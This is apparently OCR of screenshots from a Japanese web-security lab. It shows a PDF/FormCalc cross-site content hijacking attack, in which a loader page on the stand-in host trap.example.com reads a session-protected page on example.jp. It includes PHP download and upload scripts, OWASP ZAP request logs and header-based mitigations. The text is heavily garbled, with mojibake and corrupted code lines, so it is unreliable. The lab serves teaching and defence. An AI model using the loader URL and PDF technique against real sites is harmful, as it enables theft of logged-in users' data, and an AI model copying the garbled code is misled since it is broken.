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[¥—/3: 31/31-020.php ]

[ fvarfwww/html/31/31-020,php - wasbook@example,jp - T745 - WinS(

= @9 e E xFF
k2php
session_start(); // Ewvi = OIS
S
<html>
<head»<title>0 % - > L T {72& Li¢/titler</head>
<body>

<«form action="31-821.php" method="POST">»

21— &<input type="TEXT" name="ID"><BR>
/%A 7 — F<input type="PASSWORD" name="PWD"><BR>
<input type=SUBMIT value="0 %7 ">

</form>

</body>

</html>

[H—/X: 4c/4c-013aphp ]

[H—/X: 31/31-021.php ]

[5—X: 31/31-022.php ]

[ varfwww/himl/4ac/4c-013a.php - wasbook@example.jp - TF44 - WinSCP
= EINR- £ & & 8 xear
k2php

define('UPLOADPATH', '/var/upload');
$mimes = array(’pdf’' =»> "application/pdf');

$file = $_GET['file'];
$info = pathinfo($file); /1 7 ANLEFRORE
/! WERET
$content_type = $mimes[$ext]; // Content-Type mEV&
if (! $content_type) {
die("ILERFidpdfRIEECEEL);

fext = strtolower($info[ extension’]);

I3
header( ' Content-Type: . $content_type);
header('X-Content-Type-Options: nosniff');
readfile(UPLOADPATH . '/ . basename($file));
2>

[+-—/1:ContentHijackingl.oaderhtml ]

RBIRTLSR

[ rvarfwwwshiml/31/31-021.php - wasbook@example.jp - TF 4% - WinSCP
El @ |'D ¢ | & & 8| xFF-
k?php
session_start(); // € v i 3 >-DER
$id - $_POST["ID"];
$pud = $_POST["PWD"];
// IDENZAT—FOEB LA EDREIZO T YR
if ($id == " || $pud == ") {
die("O% 1 »%E");

%_SESSION['ID'] = $id;
»
<html>
<head»><title>D 7 »</titles</head>
<body>
074 EHLELE
<a href="31-022.php">7 07 4 —J/L</a>
</body>
</html>

[H—/1:ContentHijackinglLoader.pdf ]

RBIRTLSR

[ rvarfwwwshimlf31/31-022.php - wasbook@example.jp - TF 4% - WinSCP
El @ |'D ¢ # & # 8| xFr-
k?php
session_start(); // v i 3 -DERE
$id = $_SESSION['ID'];

if ($id = ') {
die("OF A LTCFEEN);
¥
>
<html>

<head><title»7 07 4 —Jl¢/title»</head>
<body>

1 —HID:<?php echo htmlspecialchars{$id, ENT_NOQUOTES, *UTF-8'); 2>

</body>
</html>

&8 @



[T59H>8—/: YHT R 31/31-020php — LAKRUR ] (firefoxCGR=I7—)

Q) S\Et9y3Y - 20190102-085645 - OWASP ZAP 2.7.0 _
Il BE TR AU~ LAk YL A2SA2 LT

EEEr W CEERs 460 000 002 ddy <P )oXEmE oG

@9 4 [# 5195251 [= uaﬂhm = LAAR

eLEd Fzanrea—ls @O FoArEa v B0

Vary: Accept-Encoding
X-UA-Compatible: IE=edge

<html>

<head> <title= 05 > LT <&l 1< /title> < /head>
<bedy>

<form actien="31-021.php" meth "POST"=

a3 —HF<input type="TEXT" nam D"=<BR>

JTAT— F<input type="PASSWORD" name="PWD"> <BR>
<input type=SUBMIT value="04- ">

v avFEar GET http:/fexample.jp/31/31-020.php HTTR/1.1 HTTP/1.1 200 OK l_:
EIBEIYTFAN || jser-agent: Mozilla/s.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Server: nginx/1.10.3
vy @Yrhr Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8 Date: Wed, 02 Jan 2019 15:50:30 GMT
» [P http://trap.exar Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Content-Length: 279
» L] http:/fexample. |pofarer; http://example.jp/4c/ Connection: keep-alive
DNT: 1 Set-Cookie: PHPSESSID=95hvg758errolubbegk777v1a3; path=/
Connection: keep-alive Expires: Thu, 19 Nov 1981 08:52:00 GMT
Upgrade-Insecure-Requests: 1 Cache-Control: no-store, no-cache, must-revalidate
[|Host: example.jp /|Pragma: no-cache

=/form=
=/body=
e S e T </html= E
_[EEETQ.&,%TFFS—F [G7orTvr[ 4
@ @ YV oLaAD @ IO
Id |USTRRER | AYwE |URL AF—HAI—F | AF—HRI—FHE | SVYFrIeTHTL | LARSARTAUAZ | BRFS—b | J—h |97 [E
. 9 M Medium N .
68 19/01/03 0:50:38 POST http:/fexample.jp/31/31-021.php 200 OK 3 ms [ Medium
69 19/01/03 0:50:41 GET http://example.jp/31/31-022.php 200 OK 3ms 95 bytes fu Medium
70 19/01/03 0:51:19 GET http://trap.example.com/4c/ContentHijackin... 200 OK 9 ms 31,394 bytes Fu Medium Object, Script, ...
74 19/01/03 0:53:54 GET http:/fexample.jp/4c/4c-013a.php?file=Cont... 200 OK 39 ms 11,982 bytes Script, Comment |y

[ 75—t mo m1 3 po WiEGA*+2 @0 o Do @o #o So Ho
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JyHT Xk 31/31-021.php — LARVR ]

Q SB\Etvy3Y - 20190102-085645 - OWASP ZAP 2.7.0

7L BE TR AU

L=t Yl AZS1 LT

(= ploEsEfs 08 c00 000 ddy <P IOXERE ©G

@9+

[ #1vo 25—+ [=uozar| 4|

= LARA

FIALRE2— || (B

POST http://example.jp/31/31-021.php HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0

eLaE (Fzanrez- ] @O
v EHaZFFEAN

EEEILFTFAN
@

» | P http://trap.exar
» | P http://example,

ES T

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language: ja,en-US;g=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/31/31-020.php

Content-Type: application/x-www-form-urlencoded

|| Content-Length: 20

DNT: 1

Connection: keep-alive

Cookie: PHPSESSID=9%hvg758errolusbogk777v1a3
Upgrade-Insecure-Requests: 1

Host: example.jp

ID=secret&PWD=secret

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Wed, 02 Jan 2019 15:50:39 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 146

Connection: keep-alive

Expires: Thu, 12 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

X-UA-Compatible: IE=edge

<html=

«<head= <title= 04 2 </title> < /head=>
<body=

OO EHmLELR

=@ href="31-022.php"= 707+ —)l-</a=
</body=

< /html=

_[EEETQ&%TF?S

—FTL]FUFJ\yhT—]

@ & V oanaAD @ THAR—~

Id |USTRRER | AYwE |URL

AF—HAI—F | AF—HRI—FRE | SVYFrUvTHTL | LARLARTAHARZ | BRFS—b | J—h | 97

66 19/01/03

69 19/01/03 0:50:41

50:29 GET

GET

hp 200

5 ms 279 bytes

95 bytes

Form, Password...

L3 Iﬁ'

70 19/01/03 0:51:19 GET http://trap.example.com/4c/ContentHijackin... 200 OK 9 ms 31,394 bytes Fu Medium Object, Script, ...
74 19/01/03 0:53:54 GET http://example.jp/4c/4c-013a.php?file=Cont... 200 OK 38 ms 11,982 bytes Script, Comment r{
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[F59H—>H—/\: YITRXE 31/31-022php — LRAKRUR ]

W E|tvay - 20190102-085645 - OWASP ZAP 2.7.0 — [m| ot
7L #BE Fr RUS— LA—b YL AT AT
|[gz;£—|< PploEERE A E D@ 002 48V «P rOXERE o6 |

@9+

[ p1vo 25— [ uozar | 4 |

= LARA

FIALRE2— |v| (B

GET http:/fexample.jp/31/31-022.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0

eLaE (Fzanrez- ] @O
v[EHarFFEAL

EEEILFTFAN
@I

» | P http://trap.exar
» | P http://example,

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language: ja,en-US;g=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/31/31-021.php

|DNT: 1

Connection: keep-alive

Cookie: PHPSESSID=9%hvg758errolubbegk777via3
Upgrade-Insecure-Requests: 1

Host: example.jp

< e

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Wed, 02 Jan 2019 15:50:42 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 95

Connection: keep-alive

Expires: Thu, 12 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

X-UA-Compatible: IE=edge

<html|=

«<head > < title= 7O 7 —Jl</title= < /head>
<body=

I—*#1D:secret«/body=

= /html=

_[EEETQ.&%TF?S—FTL]

FORTw m

@ & V oanaAD @ THAR—~

19/01/03 0:50:38

19/0

50:41

Id |USTRRER | AYwE |URL AF—HAI—F | AF—HRI—F&E | SO FRUwTEIL | LARDART A 9AZ | BHFS—r | /b |92 (S
66 19/01/03 0:50:29 GET http://example.jp/31/31-020.php 200 OK 5 ms 279 bytes Fu Medium Form, Password... |
POST http://example.jp/31/31-021.php 200 OK 5ms 146 bytes " Medium

= Medium

19/01/03 0:51:19
19/01/03 0:53:54

http://trap.example.com/4c/ContentHijackin...
http://example.jp/4c/4c-013a.php?file=Cont...

200
200

0K
oK

31,394 bytes
11,982 bytes

o Medium Object, Script, ...

Script, Comment |y
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[T59%—H—/\: YHIT XL ContentHjjackinglLoaderhtml — L AR ]

W) S\Etyay - 20190102-085645 - OWASP ZAP 2.7.0 — ] =
Jr{IL #BE TR AU~ Lfi—b YL A2SA2 AT

|[EH,,< PooEEEs 028 o8 oo 487 s« )oNERE o6 \
@91k 4 [# 1w 25—+ [ uozar | +

ecad R =

v & aFERb GET K
EIBEI>TFAN hitp://trap.example.com/4c/ContentHijackingLoader. htm Pobjfile= http: //example. jp/4c/4c-013a.phpla3fileds3dContantHijacking. pdfalobitype=pdfetarget=http: //example.jp/31/31-022.php
v @yrr &postdata=_&logmode=aligfegex= HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language: ja,en-Us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://example.jp/4c/
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
v

» || http://trap.exar
» [P http:/fexample.

Host: trap.example.com

| = LAz
FoALREa— || B O

HTTP/1.1 200 OK 5

Server: nginx/1.10.3

Date: Wed, 02 Jan 2019 15:51:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 31394

Connection: keep-alive

Last-Medified: Mon, 14 May 2018 13:08:17 GMT
ETag: "7aa2-o6c2a2de2fbaf-gzip”
Accept-Ranges: bytes

Vary: Accept-Encoding

H-UaA-Compatible: IE=edge

<html=
<i-- Created by Soroush Dalili (@irsdl) from NCC Group - v1.5-->
«l-- Released under AGPL (see LICENSE for more information). --=

(L4

< /table=
<object id="myObject" > «</object>
</body=
PRt T | </html> =
JEEET(‘&&%HWFﬁ—h |EEEIEEE:
@ @ T 71ua:47 @ THAF—b
Id |USTRANHEE | AYwE |URL ARF—HAI—F | AT—HZI—FHRH | SV EPUYTEAA | LARSZRTAHAZ | BEFS— | J—b |92 =
66 19/01/03 0:50:29 GET http://example.ip/31/31-020.php 200 OK 5ms 279 bytes o Medium Form, Password... L;\
19/01/03 0:30:38 POST http://example.jp/31/31-021.php 200 OK 5ms 146 bytes Fu Medium
69 19/01/03 0:50:41 GET http://example.jp/31/31-022.php 200 OK 3ms 95 bytes P Medium
0 g p. tentHij ... 00 5 = Medium
19/01/03 0:53; http://example.jp/4c/4c-013a.php?file=Cont... 200 OK 11,982 bytes Script, Comment | ¥
[75—r mo m1 w3 mo REDZF+ 0 G0 20 ©0 %o 0 Ho

&




[T59H8>H—i%: YHTRAb 4c/4c-013aphp — LARUR ]

Q) S\Et9y3Y - 20190102-085645 - OWASP ZAP 2.7.0
7L B T RUS— LA—b YL AT LT

[(m2=—r Wi cEsiée 028 c08 000 &a@. <P rOoXERm

@9k 4 [ #1vo 25— [ uoxar| 4 |

@LEd (Fzanrez- s @O

s E

Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer;

» | P http://trap.exar
» | P http:/fexample,

&postdata=&logmode=all&fegex=

DNT: 1

Connection: keep-alive

Cookie: PHPSESSID=99hvg758errolubbogk?77via3
Host: example.jp

_ GET http://example.jp/4c/4c-013a.php?file=ContentHijacking.pdf HTTP/1.1
EIBEIYTFAN | | ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
vy @1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

http://trap.example.com/4c/ContentHijackingLoader.htm II?ob]ﬁIe= http:/fexam ple-jpf4cf4c-013a.php%iifle%SdContentHijacking.pdﬁ&bbjtvpe=pdﬂarget=http i[fexample.jp/31/31-022.php

| = LARSR

FIALrE2— v BEE

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Wed, 02 Jan 2019 15:53:56 GMT
Content-Type: application/pdf
Connection: keep-alive
X-Powered-By: PHP/5.3.3
¥-Content-Type-Options: nosniff
X-UA-Compatible: IE=edge

% Created by Soroush Dalili (@irsdl)

% Released under AGPL (see LICENSE for more information).

% Version 1.2
%PDF-1.1
- . 10 obj b
JRoot 1 0R
/Info60R
S
- ( j v » v

Jam{tﬁ\&ﬂﬁya—ﬂlgmﬁwm

@ @ TV oqaAz @ ToAR—

AF—HA3..| AT=FAI—... | TOXE Uy | LARYART A S, |BBFS— | /- |52 |@

Id |USTZGEE | AYyE |URL
GET

ntentH

66 19/01/03 0:50:28 http://example.jp/31/31-020.php 200 OK Sms 279 bytes U Medium For... [a
68 19/01/03 0:50:38 POST http:/fexample.jp/31/31-021.php 200 OK 5ms 146 bytes F Medium L\
69 19/01/03 0:530:41 GET http://example.jp/31/31-022.php 200 OK 3ms 95 bytes F Medium

70 19/01/03 0:51:19 GET http://trap.example.com/4c/ContentHijackingLoader.html?objfile=http... 200 OK 9 ms 31,394 bytes Fu Medium 0bj
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@ i examplejp/31/31-020.php

@ K examplejp/31/31-020.php

(D examplejp/31/31-021.php

e

c @ @ examplejp/31/31-022.php

1 —HID:secret

* 4.12.4 PDFMFormCalclc £33 7T WA v wI(IECFI1ZR)

1.31-020 051>

2. 32 F WA T wI(PDF)

3. 4c-011d: IFAAILFwTFO— I* (FormCalci 5RAR)

4, AT )\A 47 W 47(PDF; F5EHR)
BFEOT VA Sy IRERT—4.

1. ContentHijacking.pdf

http://example.jp/31/31-020.php X

c o (@ view-source:http://examplejp/31/31-020.php
<html>
<head><titlerO /4 LT {FES 0/ tit ley</head>
<body>

<form action="31-021.phr" method="POST™>

I —HE<input type="TEXT" name="10"><BR>
P2 — Finput type="PASSWIRD™ name="PHD"><BR>
<input type-SUBMIT value="0 2% ">

</form>

</body>

</himl>

http://examplejp/31/31-021.php X

C @ (0 view-source:http://examplejp/31/31-021.php

<html>

<head><titlexm &1 </ title></head>
<body>

A4 4 ERhLE LT

<a href="31-022.php"> 70 7« —)L</a>
</body>

</html>

http://examplejp/31/31-022.php X

c Q (0 view-sourceshttp://examplejp/31/31-022.php

<html>

<head><title> 70 71 — L/ titler</head>
<body>

2 —#10:zecret</body>

<html>

InternetExplore TERAT



trap.example.com/4c/Co

= Cross Site Content (Data) Hi...

TrF BEE FRV BRELAYA)  Y-IHT ALTFH)

Cross-Site Content (Data)

This page has been loaded from "trap.example.com".

Object File: |http:.frexample.jp;4c.-‘4c-o13a.php?ﬁle=€omemﬂuacking.pdf

Type: [PDF v| deafult: ./object/ContentHijacking.pdf
Target Page: |httpr-’fexamplejpf31f31-022 php |
POST Data: | |
Log Mode:

Show RegFx: | |

| Retrieve Contents ‘ | Clear Logs ‘ | Help | ‘ Show URL with Parameters

-0 BE. P~

Three files have been created for this project:
ContentHijacking.swf, and ContentHijacking.xap,
ContentHijacking.pdf, ContentHijacking.html - Read the
help for more information especially about renaming
the extension part. & Flash file which is vulnerable
to CVE-2011-2461 can alsc be used.

Flash is the best possible option. PDF only works with
Ldobe Reader in IE. Silverlight does not work well
when the target is set to another domain.

Page that you want to read its content and it contains
sensitive contents.

POST method in reading content reguest will be used
when this field is not empty.

Different type of logging.

Cnly extracted data using the provided Regular
Expression is logged when this field is not empty.

The object will be loaded below for debugging purposes...




e & nhttp://trap.example.com/4c/ContentHijackingloader htmlZobjfile=http://exa

(& Cross Site Content (Data) Hi...
TrAF)  REE)

FTV) BREEAYA) UM ALTH)

Cross-Site Content (Data) Hijacking PoC

This page has been loaded from "trap.example.com”.

Object File: |hup:.*.*examp\e.jp.l'4c:'4c-013a.php’r’ﬁ\e=ContentHijacking.pdf

Type: [PDF

~| deafult: ./object/ContentHijacking.pdf

Target Page: |hl1p:.4.‘examp\e jpi31/31-022_php

POST Data: [
Log Mode:
Show RegEx: [

‘ Retrieve Contents H Clear Logs || Help H Show URL with Parameters ‘

entHijackingp ~ & | | %&... P~

Three files have been created for this project:
ContentHijacking.swf, and ContentHijacking.xap,
ContentHijacking.pdf, CententHijacking.html - Read
the help for more information especially about
renaming the extension part. & Flash file which is
vulnerable to CVE-2011-2461 can also be used.
Flash is the best possible option. PDF only works
with Adobe Reader in IE. Silverlight does not work
well when the target i1s set to another domain.
Page that you want to read its content and it
contains sensitive contents.

POST method in reading content request will ke used
when this field is not empty.

Different type of logging.

Cnly extracted data using the provided Regular
Expression is logged when this field is not empty.

khtml>

<head><title>7/07.r —l. </title></head> I
body> |
FL—*fID:secret</body> |

= R ——

PDF object has been loaded successfuly.
Waiting for the new object...

L
Object was called to retrieve this URL: http://example.jp/31/31-022.php

http://trap.example.com/4c/ContentHijackingLoader.html?objfile=http://example.jp/4c/4c-013a.php?
file=ContentHijacking. pdf&objtype=pdf&target=http://example.jp/31/31-022.php&postdata=&logmode=all&regex=

The object will be loaded below for debugging purposes...

|

Y=

AhEEL | aR

¥ ANEZEYN

LARUZR @ 31/31-022.php ABETETLES



4c-011d: 77 ILT7vFTA—F (FormCalc 3t ZER)

(F394]
® 4.12.4 PDFMDFormCalclZ &30 0T 2WI\A Sy w2(IETF I R) g: <Ii>4.12.4 POFDForntalclC &% 2 0T N 13 o ZUET T 220/ 0>
. . ~ & <lir<a href="/31/31-020 .php”>31-020 O /a1 i
1.31:020 :09A > g.— P55 hre http: //trappeiamme com/fic/ContgntHlJac\lmgi_oader html?objfl Ie http:/fexanple. jp/dc/dc
2. AT WI\A 47w 2 (PDF) . Fdbinnde utl| gapdEach RELE t : U022 . phpaaostdata_&logmode allbrezen=">0 T LU 3w o 2 POF) <fax /1>
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[H—s%: 4c/4c-011d.php ] [H—/s3: 4c/4c-012d.php ]

[ Avar/wwwihtml/4c/4c-011d.php - wasbook@examplejp - T745 - WinSCP [ tvarfwwwihtml/4cf4c-012d.php - wasbook@examplejp - IT744 - WinSCP

] B9 Re S E | FFr-Ue- 8 @ El EE] BesE| xmr-De- 8 @

|-(body> |-(?php
<form action="4c-812d.php" method="post" enctype="multipart/form-data"> define( 'UPLOADPATH', '/var/upload’);

FF AT <input type="file" name="imgfile" size="20"><br>

<input type="submit"” value="T w7 O—HF">
</form>
</body>

[H—/%: 4c/4c-013d.php ]

[ Avarfwwwihtml/dc f4c-013d.php - wasbook@examplejp - T744 - WinSCP
5] @D C f& 8| ek
k2php
define("UPLOADPATH.,. . tvar/fupload.);
$mimes = array('pdf’ => ‘application/pdf’);
S (3 SERVER[ "REQUEST METAOD T T== "PGET'Y {
header("HTTP/1.1 480 Bad Request™);
die("POSTA Y w FTUSZ TR FLTLIEEW);

h
$file = @ POST['file'];
$orgfile = @%_POST["orgfile’];
$info = pathinfo($file); /7 rANEROIE
$ext = strtolower($info[ 'extension']); /! ET
$content_type = $mimes[$ext]; // Content-Type@EVE
if (! $content_type) {
header("HTTP/1.1 480 Bad Request™);
die("IERTIEpdf ZHEECZE L),

h

if I(preg_match("/[\r\n]/", $orgfile) === 1) {
header("HTTP/1.1 488 Bad Request™);
die('orgfilelliTEREHE I LIFTEERLEA");

1

header('Content-Type: ' . $content_type);

header('X-Content-Type-Options: nosniff');

header('X-Download-Options: noopen');

header('Content-Disposition: attachment; filename=""

readfile(UPLOADPATH . '/’ . basename($file));

>

function get_upload_file_name($tofile) {
/] ERFOF v 7
$info = pathinfo($tofile);
fext = strtolower($info[ "extension’]);
if ($ext 1= ‘pdf') {
die(IEERT FpdfERE LT 0);
}
/BT 22— w7 A LEDER
$fcount = @; // 77 A AABFRETOOS
do {
/7 ANEDERITT
$file = sprintf('%s/%08x.%s', UPLOADPATH, mt_rand(), $ext);
/7 FALEERT S BE0ESRTIZ—
$fp = @fopen($file, "x');
1} while ($fp === FALSE && ++$count < 18);
if ($fp === FALSE) {
die(" 7 7 A LHERTEEEA);

3
fclose($fp);
return $file;

}

$tmpfile = $_FILES["imgfile"]["tmp_name"];

$orgfile = $ FILES["imgfile"]["name"];

if (!lis_uploaded_file($tmpfile)) {
die(" 77 A AATwv7O-—FENTWELA");

$tofile =/get_upload_file_name($orgfile);
if (!lmove_uploaded file(3tmpfile, Stofile)) {
die("7FANLETv7O0-FTEEHEA");

// $imgurl = "4c-813d.php?file=" . basename($tofile);

2>

<body>

«?php echo htmlspecialchars($orgfile, ENT_NOQUOTES, 'UTF-8'); ?»»% 7w 00— FL & L7/z</a><BR>
<form action="4c-813d.php" method="post’'>

<input type="hidden" name="file" value="<?php echo htmlspecialchars(basename($tofile)); ?»">
<input type="hidden" name
<input type="submit" value="# w7 >O—F"»
</form>

</body>

W

orgfile” value="<?php echo htmlspecialchars(basename($orgfile)); ?»"
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[H—/: ContentHijackinglLoader.pdf ]

IEIZ(%. Content-Type DAEFRAEBR/Z LS AN HY . ZOHRETIAIOYIMEIZDOL ARV ANVA ERE LTz, ZDE, EUSND TSI FISLRESI T,
IEE T &, Content-TypeMoDAHIAVTIYDI7AILIEREELILET . D=6, text/htmI TN JavaScriptDRITETIZEYE R Ao

L AR A~ YA Content-Disposition D& TE

inline (T 74 )LME, DT TR—VD—EEL T, FEVTTR—SELTRRARETHDLERLEY), HLLIE attachment (F IV O—FF RETHHEERLET .
ZLDTFIHIL filename /35A—F—DIEZFEL, TRFTEM T TRFIF(TOTERTRLEY) ERD/NFA—F—ELTRELET,

L AR ZAYH X-Download-Options DX TE
[ETH Y O—RLIzD7MIVEEERN LR, REELEZEZETRITNIETIZMIILORBNSBTERRYET, (EBH OLH)

[T59HF >3 —/X%: YHTRAE 4c/4c-011dphp = LAKRUR ] (firefox CAZT7—)

W SEEyY3aY - 20190102-085645 - OWASP ZAP 2.7.0

I7AI E\E "R RUS— Lii—b Y-l A5 AT

ete-r Pl SEEES J0E 000 o= &a ¢

sebh ) XERE @

o

L=

@ trh | 4

[ 2awo25-b[suozar] 4]

= LA

[Fraurea— g BO:

@HEE
v[FaYFFEAL

EEEaFEAL
v @Bk

E1S

» || http://trap.examp|
» || P http:/fexample.

Pann

FoALrea— g B0

GET http://example.jp/4c/4c-011d.php HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8

Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Enceding: gzip, deflate

Referer: http://example.jp/4c/

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Host: example.jp

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Wed, 02 Jan 2019 16:18:48 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 211

Connection: keep-alive

®-Powered-By: PHP/5.3.3

Vary: Accept-Enceding

¥-Ua-Compatible: IE=edge

< body=
<form action="4c-012d.php" method="post" enctype="multipart/form-data">

T7AI)l: <input type="file" name="imgfile" size="20"><br=

<input type="submit" value="7w 70— F">

= [form:= F
< /body= v

| [BRE] S a= [R7s—r ] 7orTvr] 4|

@ @ VT a7 @ TR

Id | VOTAMER

78 19/01/03 1:24:31 GET
79 19/01/03 1:25:40 POST
80 19/01/03 1:26:56 POST

| #vw B | URL
GET < /4c-011d.php
http://example.jp/4c/ContentHijacking. pdf

[ Z57—#23... | A7 =523 | SO ErUy.. | LA ART ... |BEFS— |/~ |52

200 OK

211 bytes M Medium

200 OK 8 ms 11,982 bytes Fu Low Seri.
http://example.jp/4c/4c-012d.php 200 OK 29 ms 297 bytes Fu Medium For..
http://example.jp/4c/4c-013d.php 200 OK 26 ms 11,982 bytes Scri.. (¥

FS— RO R 2 B

BECAEr2 0 B0 D0 @0 %0 0 Ho




[T59%—H—/X: YHIT XL ContentHijackingLoader.pdf — LARIR ]

IFAI BE BF RUI—

W SEEyYaY - 20190102-085645 - OWASP ZAP 2.7.0

L=k W=l AS12 AT

|[BEE—F =B

Bwpg V2@ 000 005 &8 v

S b b O KESBE:

&

©

[ pavo 25—t uozar] + |

= AR A

FIALrEa— ¢  EO

» || http://trap.examp|
» || P http:/fexample.

[<'¢ T |

GET http://example.jp/4c/ContentHijacking.pdf HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0

QLEE [Fzanrea— g B0
v aYFFEAS

EEEIFEAL
v @tk

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8
Accept-Language: ja,en-Us;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/4c/

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Host: example.jp

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Wed, 02 Jan 2019 16:24:33 GMT
Content-Type: application/pdf

Content-Length: 11982

Connection: keep-alive

Last-Modified: Mon, 14 May 2018 13:08:17 GMT
ETag: "2ece-56c2a2de3a730"

Accept-Ranges: bytes

X-Ua-Compatible: IE=edge

% Created by Soroush Dalili (@irsdl)

% Released under AGPL (see LICENSE for more information).
% Version 1.2

%PDF-1.1

JID [ (irsdl) {(MyfancyPDF) ]
/Root10R
/Info60R

=

JSEET@..&%[HT«S

TR

@ @ T oala:az § TR~

Id |USTAGAE | AWy E |URL | A7 —#23... | A7—%2A0—... | ZT»FEbUy.. | LARVART (8. [#EFS—b |-k |50 |
19/01/03 1:18:47 GET http://example.jp/4c/4c-011d.php 200 OK 22 ms 211 bytes s Medium For..
03 1:24:3 ontentHjacking.pdf 200 OK 11,982 bytes b
70 16/01/03 1:25:40 POST  http://example.jp/4c/4c-012d.php 00 OK 29 ms 297 bytes s Medium For..
80 19/01/03 1:26:56 POST http:/fexample.ip/4c/4c-013d.php 200 OK 26 ms 11,982 bytes Scri.
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[T59H¥—>Y—/\: YUIRL 4c/4c-012dphp — LAKRUR ]
W EEUYY3Y - 20190102-085645 - OWASP ZAP 2.7.0
I7Il BE TR RUZ— Lai—bk Y—)l A5 ~LT

= FlEEeEg 2B 08 0 487 <Pk 0@ m:

@ G

(£ oasm25-r]= uanhm

@ UAb] 4

= LA

» | http://trap.examp
Accept-Language: ja,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://example.jp/4c/4c-011d.php

Content-Type: multipart/form-data; boundary=-----------------comceeumv
Content-Length: 12192

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Host: example.jp

» | P http://example,

————————————————————————————— 314411909719841
Content-Type: application/pdf

9% Created by Soroush Dalili (@irsdl)
% Released under AGPL (see LICENSE for more information).

% Version 1.2
%PDF-1.1
1S J7W | |100bj
JID [ (irsdl) (MyfancyPDF) 1
JRoot 1 0R
/Inffo 6 0 R
S
314411999719841--
ELS 7

Accept: text/html,application/xhtml|+xml, application/xml;q=0.9,*/*,q=0.8

314411999719841

Content-Disposition: form-data; name="imgfile"; filename="CeontentHijacking.pdf"

@LEH (FFAnrea— s BIO. FaALbEr— v EO
M= *RE POST http://example.jp/4c/4c-012d.php HTTR/1.1 4| |HTTP/1.1 200 OK

@ EEIZTFEAL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/ Server: nginx/1.10.3
v @bk 63.0 Date: Wed, 02 Jan 2019 16:25:41 GMT

Content-Type: text/html; charset=UTF-8
Content-Length: 297

Connection: keep-alive

¥-Powered-By: PHP/5.3.3

Vary: Accept-Encoding

¥-UA-Compatible: [E=edge

<body=

ContentHijacking.pdfE 7w 70— FLEUEZ</a=<BR>

<form action="4c-013d.php’ method="post'>

<input type="hidden" name="file" value="1418cbe2.pdf">

<input type="hidden" name="orgfile" value="ContentHijacking.pdf">
<input type="submit" value="42>0—-F">

< [form=

< /body=

IELs

< /body=

Jam{@a&ﬂﬂwafﬂl;mwwm

@ @ 7 osaAs @ AR~

POST xample.j /4c-012d.php

Id |USTZAGEE | AV E |URL | RF—%A2... | AT—4A0—... | ZDxEbUy... | LARVARF 8. |#EFS—|/—b (90 |B
77 15/01/03 1:18:47 GET http://example.jp/4c/4c-011d.php 200 OK 22 ms 211 bytes u Medium For.. |a
19/01/03 1:24:31 GET http://example.jp/4c/ContentHijacking. pdf 200 OK 8ms 11,982 bytes o Low Scri.

200 29 ms 297 bytes M Medium

80 19/01/03 1:26:56 POST http:/fexample.jp/4c/4c-013d.php

200 OK 26 ms 11,982 bytes

[75—F mo 1 B2 mo
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W =Bt Y3y - 20190102-085645 - OWASP ZAP 2,7.0

7L B|E FBR AUL—

L=t Y=l ALS12 ~LT

(=5 w2

Bepgg 0B o 008 48V <Pk 0} Etam

@9r-] 4

[ #avo 25— [ uozan ]| 4]

= LA R

(Zotnrea— |y B0

POST http://example.jp/4c/4c-013d.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0

@LEIE {?TWLFEJ— B = B:
v [HaxFERb

[EEEIFFAN
v @Y

» | http:/ftrap.examp
» || M http:/fexample,

